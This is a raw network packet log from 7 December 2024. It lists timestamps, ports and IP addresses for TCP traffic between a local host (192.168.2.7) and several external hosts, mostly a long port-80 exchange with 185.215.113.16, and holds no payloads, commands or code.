Dec 7, 2024 17:35:55.215575933 CET	49791	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:55.215579033 CET	443	49791	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:55.218307018 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:55.339282990 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:55.339381933 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:55.339669943 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:55.459177017 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.010200024 CET	443	49797	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.010771990 CET	49797	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.010782957 CET	443	49797	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.011372089 CET	49797	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.011378050 CET	443	49797	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.399070978 CET	443	49798	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.399631023 CET	49798	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.399656057 CET	443	49798	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.400193930 CET	49798	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.400199890 CET	443	49798	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.401534081 CET	443	49799	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.401875973 CET	49799	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.401886940 CET	443	49799	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.402328968 CET	49799	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.402333975 CET	443	49799	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.451559067 CET	443	49797	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.451586008 CET	443	49797	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.451654911 CET	443	49797	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.451783895 CET	49797	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.451812983 CET	49797	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.460766077 CET	49797	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.460798025 CET	443	49797	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.460809946 CET	49797	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.460817099 CET	443	49797	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.467088938 CET	49803	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.467139959 CET	443	49803	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.467212915 CET	49803	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.467864037 CET	49803	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.467875004 CET	443	49803	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.619843960 CET	443	49800	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.620399952 CET	49800	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.620413065 CET	443	49800	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.620915890 CET	49800	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.620920897 CET	443	49800	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.635066986 CET	443	49801	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.635456085 CET	49801	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.635485888 CET	443	49801	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.635910034 CET	49801	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.635915041 CET	443	49801	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.692919016 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.693023920 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.693094015 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:56.694910049 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.695085049 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.695095062 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.695144892 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:56.696957111 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.697009087 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:56.697102070 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.697112083 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.697150946 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:56.698503971 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.698604107 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.698656082 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:56.812887907 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.812980890 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.813057899 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:56.816968918 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.828233957 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.828289032 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:56.828402996 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.847162962 CET	443	49798	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.847184896 CET	443	49798	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.847342968 CET	49798	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.847359896 CET	443	49798	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.847587109 CET	49798	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.847599983 CET	443	49798	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.847608089 CET	49798	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.847721100 CET	443	49798	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.847755909 CET	443	49798	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.847803116 CET	49798	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.850958109 CET	49804	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.850991964 CET	443	49804	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.851082087 CET	49804	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.851258993 CET	49804	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:56.851274014 CET	443	49804	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:56.880388021 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:56.887061119 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.887156010 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.887200117 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:56.891134977 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.891310930 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.891369104 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:56.899632931 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.899718046 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.899766922 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:56.907926083 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.908075094 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.908123016 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:56.916318893 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.916460991 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.916517019 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:56.924679041 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.924818039 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.924880981 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:56.933043003 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.933213949 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.933270931 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:56.941402912 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.941560030 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.941616058 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:56.949824095 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.949979067 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.950159073 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:56.958195925 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.958345890 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:56.958410978 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:56.966499090 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.006541014 CET	443	49799	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:57.009448051 CET	443	49799	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:57.009612083 CET	49799	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:57.009612083 CET	49799	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:57.009612083 CET	49799	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:57.012785912 CET	49805	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:57.012821913 CET	443	49805	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:57.013108015 CET	49805	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:57.013108015 CET	49805	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:57.013138056 CET	443	49805	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:57.020900011 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.062335968 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.062668085 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.062823057 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.064594030 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.079015017 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.079169989 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.079175949 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.081198931 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.081269979 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.081332922 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.085566998 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.085625887 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.085709095 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.089931011 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.089983940 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.089992046 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.094273090 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.094371080 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.094372034 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.098690033 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.098771095 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.098834038 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.103272915 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.103333950 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.103420973 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.107321978 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.107369900 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.107395887 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.111524105 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.111563921 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.111782074 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.115856886 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.115909100 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.116000891 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.120230913 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.120295048 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.120352030 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.124538898 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.124613047 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.124660015 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.126677036 CET	443	49801	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:57.127170086 CET	443	49800	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:57.128993034 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.129055023 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.129126072 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.130852938 CET	443	49801	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:57.130923986 CET	49801	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:57.130944014 CET	443	49800	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:57.131006956 CET	49800	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:57.131061077 CET	49801	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:57.131077051 CET	443	49801	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:57.131087065 CET	49801	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:57.131093025 CET	443	49801	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:57.132419109 CET	49800	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:57.132433891 CET	443	49800	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:57.132445097 CET	49800	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:57.132450104 CET	443	49800	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:57.133266926 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.133315086 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.133409977 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.137705088 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.137754917 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.137814045 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.139318943 CET	49806	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:57.139364004 CET	443	49806	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:57.139378071 CET	49807	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:57.139411926 CET	443	49807	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:57.139434099 CET	49806	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:57.139462948 CET	49807	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:57.139597893 CET	49806	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:57.139605045 CET	443	49806	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:57.139605045 CET	49807	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:57.139611006 CET	443	49807	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:57.141925097 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.141979933 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.142132998 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.146261930 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.146392107 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.146418095 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.150723934 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.150783062 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.150820971 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.154898882 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.154947042 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.155126095 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.159249067 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.159301043 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.159416914 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.163471937 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.163522005 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.254379034 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.254426003 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.254547119 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.255501032 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.255672932 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.255722046 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.259206057 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.259409904 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.259460926 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.271400928 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.271687031 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.271744967 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.273130894 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.273858070 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.273915052 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.273993015 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.279115915 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.279191017 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.279308081 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.280684948 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.280730009 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.280967951 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.284352064 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.284408092 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.284502983 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.287492037 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.287544966 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.287590027 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.290051937 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.290101051 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.290201902 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.293306112 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.293358088 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.293427944 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.297574997 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.297586918 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.297631979 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.299536943 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.299588919 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.299665928 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.302798986 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.302845955 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.302920103 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.305788994 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.305839062 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.305993080 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.308985949 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.309034109 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.309115887 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.312099934 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.312144995 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.312205076 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.315201998 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.315253973 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.315345049 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.317779064 CET	49799	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:57.317812920 CET	443	49799	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:57.318327904 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.318377972 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.318484068 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.321496964 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.321551085 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.321634054 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.324616909 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.324668884 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.324748993 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.327735901 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.327790022 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.327903986 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.330862999 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.330916882 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.331016064 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.334176064 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.334225893 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.334283113 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.337213039 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.337259054 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.337377071 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.340254068 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.340301991 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.340713978 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.343396902 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.343468904 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.343523026 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.346503019 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.346546888 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.346757889 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.349713087 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.349767923 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.349821091 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.352905035 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.352962017 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.353010893 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.356239080 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.356290102 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.356386900 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.359105110 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.359158039 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.359213114 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.362217903 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.362268925 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.362354994 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.365473986 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.365540028 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.365607023 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.368467093 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.368529081 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.368633032 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.371613026 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.371670008 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.371795893 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.411537886 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.446249962 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.446365118 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.446433067 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.447639942 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.447788954 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.447846889 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.450213909 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.450376987 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.450428009 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:35:57.453078985 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.453202009 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:35:57.453255892 CET	49802	80	192.168.2.7	185.215.113.16
